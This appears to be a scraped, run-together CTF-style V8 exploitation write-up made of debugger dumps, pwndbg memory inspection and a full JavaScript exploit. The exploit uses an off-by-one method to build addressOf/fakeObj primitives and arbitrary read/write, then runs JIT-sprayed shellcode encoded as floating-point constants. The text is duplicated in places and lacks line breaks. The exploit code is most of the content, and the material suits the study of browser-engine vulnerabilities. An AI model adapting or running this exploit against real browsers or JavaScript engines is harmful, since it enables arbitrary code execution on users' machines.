SimpleInstallFunction(isolate_, proto, "copyWithin",function p(arg){ %DebugPrint(arg);}var a1 = [1.1];var a2 = [2.2];p(a1);p(a2);function p(arg){ %DebugPrint(arg);}var a1 = [1.1];var a2 = [2.2];p(a1);p(a2);DebugPrint: 0x2b69000f4ac1: [JSArray] - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x2b69001cb179 <JSArray[0]> - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x2b6900000725 <FixedArray[0]> - All own properties (excluding elements): { 0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> { 0: 1.1 }0x2b69001cb821: [Map] in OldSpace - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - enum length: invalid - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x2b6900000a89 <Cell value= 1> - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]> - transitions #1: 0x2b69001cb849 <TransitionArray[4]> Transition array #1: 0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x2b69001cb179 <JSArray[0]> - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)> - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0DebugPrint: 0x2b69000f4af9: [JSArray] - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x2b69001cb179 <JSArray[0]> - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x2b6900000725 <FixedArray[0]> - All own properties (excluding elements): { 0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> { 0: 2.2 }0x2b69001cb821: [Map] in OldSpace - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - enum length: invalid - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x2b6900000a89 <Cell value= 1> - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]> - transitions #1: 0x2b69001cb849 <TransitionArray[4]> Transition array #1: 0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x2b69001cb179 <JSArray[0]> - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)> - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0DebugPrint: 0x2b69000f4ac1: [JSArray] - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x2b69001cb179 <JSArray[0]> - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x2b6900000725 <FixedArray[0]> - All own properties (excluding elements): { 0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> { 0: 1.1 }0x2b69001cb821: [Map] in OldSpace - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - enum length: invalid - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x2b6900000a89 <Cell value= 1> - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]> - transitions #1: 0x2b69001cb849 <TransitionArray[4]> Transition array #1: 0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x2b69001cb179 <JSArray[0]> - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)> - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0DebugPrint: 0x2b69000f4af9: [JSArray] - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x2b69001cb179 <JSArray[0]> - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x2b6900000725 <FixedArray[0]> - All own properties (excluding elements): { 0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> { 0: 2.2 }0x2b69001cb821: [Map] in OldSpace - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - enum length: invalid - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x2b6900000a89 <Cell value= 1> - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]> - transitions #1: 0x2b69001cb849 <TransitionArray[4]> Transition array #1: 0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x2b69001cb179 <JSArray[0]> - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)> - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0pwndbg> job 0x2b69000f4ad90x2b69000f4ad9: [FixedDoubleArray] - map: 0x2b69000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)> - length: 1 0: 1.1pwndbg> x/16wx 0x2b69000f4ad9-10x2b69000f4ad8: 0x000008a9 0x00000002 0x9999999a 0x3ff199990x2b69000f4ae8: 0x000008a9 0x00000002 0x9999999a 0x400199990x2b69000f4af8: 0x001cb821 0x00000725 0x000f4b11 0x000000020x2b69000f4b08: 0x000010a5 0x001d4a2d 0x000008a9 0x00000002pwndbg> pwndbg> job 0x2b69000f4ad90x2b69000f4ad9: [FixedDoubleArray] - map: 0x2b69000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)> - length: 1 0: 1.1pwndbg> x/16wx 0x2b69000f4ad9-10x2b69000f4ad8: 0x000008a9 0x00000002 0x9999999a 0x3ff199990x2b69000f4ae8: 0x000008a9 0x00000002 0x9999999a 0x400199990x2b69000f4af8: 0x001cb821 0x00000725 0x000f4b11 0x000000020x2b69000f4b08: 0x000010a5 0x001d4a2d 0x000008a9 0x00000002pwndbg> function p(arg){ %DebugPrint(arg);}var a1 = [1.1];var obj1 = {};p(a1);p(obj1);function p(arg){ %DebugPrint(arg);}var a1 = [1.1];var obj1 = {};p(a1);p(obj1);DebugPrint: 0x3027000f4ad9: [JSArray] - map: 0x3027001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x3027001cb179 <JSArray[0]> - elements: 0x3027000f4af1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x302700000725 <FixedArray[0]> - All own properties (excluding elements): { 0x302700000d99: [String] in ReadOnlySpace: #length: 0x302700025fed <AccessorInfo name= 0x302700000d99 <String[6]: #length>, data= 0x302700000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x3027000f4af1 <FixedDoubleArray[1]> { 0: 1.1 }0x3027001cb821: [Map] in OldSpace - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - enum length: invalid - back pointer: 0x3027001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x302700000a89 <Cell value= 1> - instance descriptors #1: 0x3027001cb7ad <DescriptorArray[1]> - transitions #1: 0x3027001cb849 <TransitionArray[4]> Transition array #1: 0x302700000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3027001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x3027001cb179 <JSArray[0]> - constructor: 0x3027001cae65 <JSFunction Array (sfi = 0x30270002b3c5)> - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0DebugPrint: 0x3027000f4b01: [JS_OBJECT_TYPE] - map: 0x3027001c0f21 <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x3027001c10ed <Object map = 0x3027001c0701> - elements: 0x302700000725 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x302700000725 <FixedArray[0]> - All own properties (excluding elements): {}0x3027001c0f21: [Map] in OldSpace - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)> - type: JS_OBJECT_TYPE - instance size: 28 - inobject properties: 4 - unused property fields: 4 - elements kind: HOLEY_ELEMENTS - enum length: invalid - back pointer: 0x302700000069 <undefined> - prototype_validity cell: 0x302700000a89 <Cell value= 1> - instance descriptors (own) #0: 0x302700000759 <DescriptorArray[0]> - prototype: 0x3027001c10ed <Object map = 0x3027001c0701> - constructor: 0x3027001c0c15 <JSFunction Object (sfi = 0x30270002aa51)> - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0DebugPrint: 0x3027000f4ad9: [JSArray] - map: 0x3027001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x3027001cb179 <JSArray[0]> - elements: 0x3027000f4af1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x302700000725 <FixedArray[0]> - All own properties (excluding elements): { 0x302700000d99: [String] in ReadOnlySpace: #length: 0x302700025fed <AccessorInfo name= 0x302700000d99 <String[6]: #length>, data= 0x302700000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x3027000f4af1 <FixedDoubleArray[1]> { 0: 1.1 }0x3027001cb821: [Map] in OldSpace - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - enum length: invalid - back pointer: 0x3027001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x302700000a89 <Cell value= 1> - instance descriptors #1: 0x3027001cb7ad <DescriptorArray[1]> - transitions #1: 0x3027001cb849 <TransitionArray[4]> Transition array #1: 0x302700000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3027001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x3027001cb179 <JSArray[0]> - constructor: 0x3027001cae65 <JSFunction Array (sfi = 0x30270002b3c5)> - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0DebugPrint: 0x3027000f4b01: [JS_OBJECT_TYPE] - map: 0x3027001c0f21 <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x3027001c10ed <Object map = 0x3027001c0701> - elements: 0x302700000725 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x302700000725 <FixedArray[0]> - All own properties (excluding elements): {}0x3027001c0f21: [Map] in OldSpace - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)> - type: JS_OBJECT_TYPE - instance size: 28 - inobject properties: 4 - unused property fields: 4 - elements kind: HOLEY_ELEMENTS - enum length: invalid - back pointer: 0x302700000069 <undefined> - prototype_validity cell: 0x302700000a89 <Cell value= 1> - instance descriptors (own) #0: 0x302700000759 <DescriptorArray[0]> - prototype: 0x3027001c10ed <Object map = 0x3027001c0701> - constructor: 0x3027001c0c15 <JSFunction Object (sfi = 0x30270002aa51)> - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0pwndbg> job 0x3027000f4af10x3027000f4af1: [FixedDoubleArray] - map: 0x3027000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)> - length: 1 0: 1.1pwndbg> x/32wx 0x3027000f4af1-10x3027000f4af0: 0x000008a9 0x00000002 0x9999999a 0x3ff199990x3027000f4b00: 0x001c0f21 0x00000725 0x00000725 0x000000690x3027000f4b10: 0x00000069 0x00000069 0x00000069 0x000006350x3027000f4b20: 0x00000008 0x00000004 0x00280023 0x000001000x3027000f4b30: 0x00000069 0x00000069 0x00000635 0x000000080x3027000f4b40: 0x00000004 0x001cb823 0x00000004 0x000000690x3027000f4b50: 0x00000069 0x00000000 0x00000000 0x000000000x3027000f4b60: 0x00000000 0x00000000 0x00000000 0x00000000pwndbg> pwndbg> job 0x3027000f4af10x3027000f4af1: [FixedDoubleArray] - map: 0x3027000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)> - length: 1 0: 1.1pwndbg> x/32wx 0x3027000f4af1-10x3027000f4af0: 0x000008a9 0x00000002 0x9999999a 0x3ff199990x3027000f4b00: 0x001c0f21 0x00000725 0x00000725 0x000000690x3027000f4b10: 0x00000069 0x00000069 0x00000069 0x000006350x3027000f4b20: 0x00000008 0x00000004 0x00280023 0x000001000x3027000f4b30: 0x00000069 0x00000069 0x00000635 0x000000080x3027000f4b40: 0x00000004 0x001cb823 0x00000004 0x000000690x3027000f4b50: 0x00000069 0x00000000 0x00000000 0x000000000x3027000f4b60: 0x00000000 0x00000000 0x00000000 0x00000000pwndbg> let arr = [1.1];let obj = {in_object1 : 1}; //in-object propertiesobj.out_object1 = 2; //normal propertiesobj.out_object2 = 3;p(arr);p(obj);let arr = [1.1];let obj = {in_object1 : 1}; //in-object propertiesobj.out_object1 = 2; //normal propertiesobj.out_object2 = 3;p(arr);p(obj);DebugPrint: 0x1f99000f30e1: [JSArray] - map: 0x1f99001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x1f99001cb179 <JSArray[0]> - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x1f9900000725 <FixedArray[0]> - All own properties (excluding elements): { 0x1f9900000d99: [String] in ReadOnlySpace: #length: 0x1f9900025fed <AccessorInfo name= 0x1f9900000d99 <String[6]: #length>, data= 0x1f9900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> { 0: 1.1 }0x1f99001cb821: [Map] in OldSpace - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - enum length: invalid - back pointer: 0x1f99001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x1f9900000a89 <Cell value= 1> - instance descriptors #1: 0x1f99001cb7ad <DescriptorArray[1]> - transitions #1: 0x1f99001cb849 <TransitionArray[4]> Transition array #1: 0x1f9900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1f99001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x1f99001cb179 <JSArray[0]> - constructor: 0x1f99001cae65 <JSFunction Array (sfi = 0x1f990002b3c5)> - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0DebugPrint: 0x1f99000f3109: [JS_OBJECT_TYPE] - map: 0x1f99001d417d <Map[16](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701> - elements: 0x1f9900000725 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x1f99000f315d <PropertyArray[3]> - All own properties (excluding elements): { 0x1f99001d351d: [String] in OldSpace: #in_object1: 1 (const data field 0, attrs: [WEC]) @ Any, location: in-object 0x1f99001d3535: [String] in OldSpace: #out_object1: 2 (const data field 1, attrs: [WEC]) @ Any, location: properties[0] 0x1f99001d354d: [String] in OldSpace: #out_object2: 3 (const data field 2, attrs: [WEC]) @ Any, location: properties[1] }0x1f99001d417d: [Map] in OldSpace - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)> - type: JS_OBJECT_TYPE - instance size: 16 - inobject properties: 1 - unused property fields: 1 - elements kind: HOLEY_ELEMENTS - enum length: invalid - stable_map - back pointer: 0x1f99001d414d <Map[16](HOLEY_ELEMENTS)> - prototype_validity cell: 0x1f99001d4175 <Cell value= 0> - instance descriptors (own) #3: 0x1f99000f3171 <DescriptorArray[3]> - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701> - constructor: 0x1f99001c0c15 <JSFunction Object (sfi = 0x1f990002aa51)> - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0DebugPrint: 0x1f99000f30e1: [JSArray] - map: 0x1f99001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x1f99001cb179 <JSArray[0]> - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x1f9900000725 <FixedArray[0]> - All own properties (excluding elements): { 0x1f9900000d99: [String] in ReadOnlySpace: #length: 0x1f9900025fed <AccessorInfo name= 0x1f9900000d99 <String[6]: #length>, data= 0x1f9900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> { 0: 1.1 }0x1f99001cb821: [Map] in OldSpace - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - enum length: invalid - back pointer: 0x1f99001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x1f9900000a89 <Cell value= 1> - instance descriptors #1: 0x1f99001cb7ad <DescriptorArray[1]> - transitions #1: 0x1f99001cb849 <TransitionArray[4]> Transition array #1: 0x1f9900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1f99001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x1f99001cb179 <JSArray[0]> - constructor: 0x1f99001cae65 <JSFunction Array (sfi = 0x1f990002b3c5)> - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0DebugPrint: 0x1f99000f3109: [JS_OBJECT_TYPE] - map: 0x1f99001d417d <Map[16](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701> - elements: 0x1f9900000725 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x1f99000f315d <PropertyArray[3]> - All own properties (excluding elements): { 0x1f99001d351d: [String] in OldSpace: #in_object1: 1 (const data field 0, attrs: [WEC]) @ Any, location: in-object 0x1f99001d3535: [String] in OldSpace: #out_object1: 2 (const data field 1, attrs: [WEC]) @ Any, location: properties[0] 0x1f99001d354d: [String] in OldSpace: #out_object2: 3 (const data field 2, attrs: [WEC]) @ Any, location: properties[1] }0x1f99001d417d: [Map] in OldSpace - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)> - type: JS_OBJECT_TYPE - instance size: 16 - inobject properties: 1 - unused property fields: 1 - elements kind: HOLEY_ELEMENTS - enum length: invalid - stable_map - back pointer: 0x1f99001d414d <Map[16](HOLEY_ELEMENTS)> - prototype_validity cell: 0x1f99001d4175 <Cell value= 0> - instance descriptors (own) #3: 0x1f99000f3171 <DescriptorArray[3]> - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701> - constructor: 0x1f99001c0c15 <JSFunction Object (sfi = 0x1f990002aa51)> - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0var buf = new ArrayBuffer(8);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}function f64_to_u64(val){ f64[0] = val; return u64[0];}function u64_to_f64(val){ u64[0] = val; return f64[0];}function u64_to_u32_lo(val){ u64[0] = val; return u32[0];}function u64_to_u32_hi(val){ u64[0] = val; return u32[1];}function u32_to_f32(val){ u32[0] = val; return f32[0];}// function stop(){// %SystemBreak();// }// function p(arg){// %DebugPrint(arg);// }function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}// // gain shell// const shellcode = () => {return [// 1.9553825422107533e-246,// 1.9560612558242147e-246,// 1.9995714719542577e-246,// 1.9533767332674093e-246,// 2.6348604765229606e-284// ];}const shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, -1.6956275879669133e-231];}for(let i = 0; i< 10000; i++){ shellcode();}function getOffByOne(target){ return f64_to_u64(target.offByOne());}function setOffByOne(target, val){ target.offByOne(Number((val)));}var oob_array = [1.1];var obj = {in_obj:1};obj.a = 2;var b = [2.2];// p(oob_array);// p(obj);// p(b);obj_map_addr = u64_to_u32_lo(getOffByOne(oob_array)); //map, propertiesobj_properties_addr = u64_to_u32_hi(getOffByOne(oob_array));elements_addr_of_a = obj_properties_addr - 0x64;logg("obj_map_addr", obj_map_addr);logg("obj_properties_addr", obj_properties_addr);logg("elements_addr_of_a", elements_addr_of_a);setOffByOne(oob_array, lh_u32_to_f64(obj_map_addr,elements_addr_of_a-4));obj.a = 0x1000;setOffByOne(oob_array, lh_u32_to_f64(obj_map_addr,elements_addr_of_a-4-0x10));obj.a = 0x1000;// console.log(oob_array.length);let temp = f64_to_u64(oob_array[0x10]);logg("tmp",temp);double_array_map = u64_to_u32_lo(temp); //map, propertiesdouble_properties_addr = u64_to_u32_hi(temp);logg("double_array_map", double_array_map);logg("double_properties_addr", double_properties_addr);// // 修改了oob_array的elements lengthfunction addressOf(object){ oob_array[0x10] = lh_u32_to_f64(obj_map_addr,0); b[0] = object; oob_array[0x10] = lh_u32_to_f64(double_array_map,0); return f64_to_u64(b[0]);}function fakeObj(addr){ oob_array[0x10] = lh_u32_to_f64(double_array_map,0); b[0] = lh_u32_to_f64(addr,0); oob_array[0x10] = lh_u32_to_f64(obj_map_addr,0); return b[0];}var fake_array = [ lh_u32_to_f64(double_array_map,0), lh_u32_to_f64(0,0x1000)];var fake_array_addr = u64_to_u32_lo(addressOf(fake_array));var fake_obj = fakeObj(fake_array_addr+0x54);// p(fake_array);logg("fake_array_addr",fake_array_addr);function AAR(addr){ fake_array[1] = lh_u32_to_f64(addr-8,0x1000); return f64_to_u64(fake_obj[0]);}function AAW(addr,val){ logg("addr",addr); logg("val",val); fake_array[1] = lh_u32_to_f64(addr-8,0x1000); // stop(); fake_obj[0] = u64_to_f64(val);}// p(shellcode);var shellcode_addr = u64_to_u32_lo(addressOf(shellcode));var code_addr = u64_to_u32_lo(AAR(shellcode_addr+0xc));var ins_base = AAR((code_addr)+0x14);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base",ins_base);AAW(code_addr+0x14,(BigInt(ins_base)+0x6bn));// stop();shellcode();// spin();var buf = new ArrayBuffer(8);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}function f64_to_u64(val){ f64[0] = val; return u64[0];}function u64_to_f64(val){ u64[0] = val; return f64[0];}function u64_to_u32_lo(val){ u64[0] = val; return u32[0];}function u64_to_u32_hi(val){ u64[0] = val; return u32[1];}function u32_to_f32(val){ u32[0] = val; return f32[0];}// function stop(){// %SystemBreak();// }// function p(arg){// %DebugPrint(arg);// }function spin(){ while(1){};}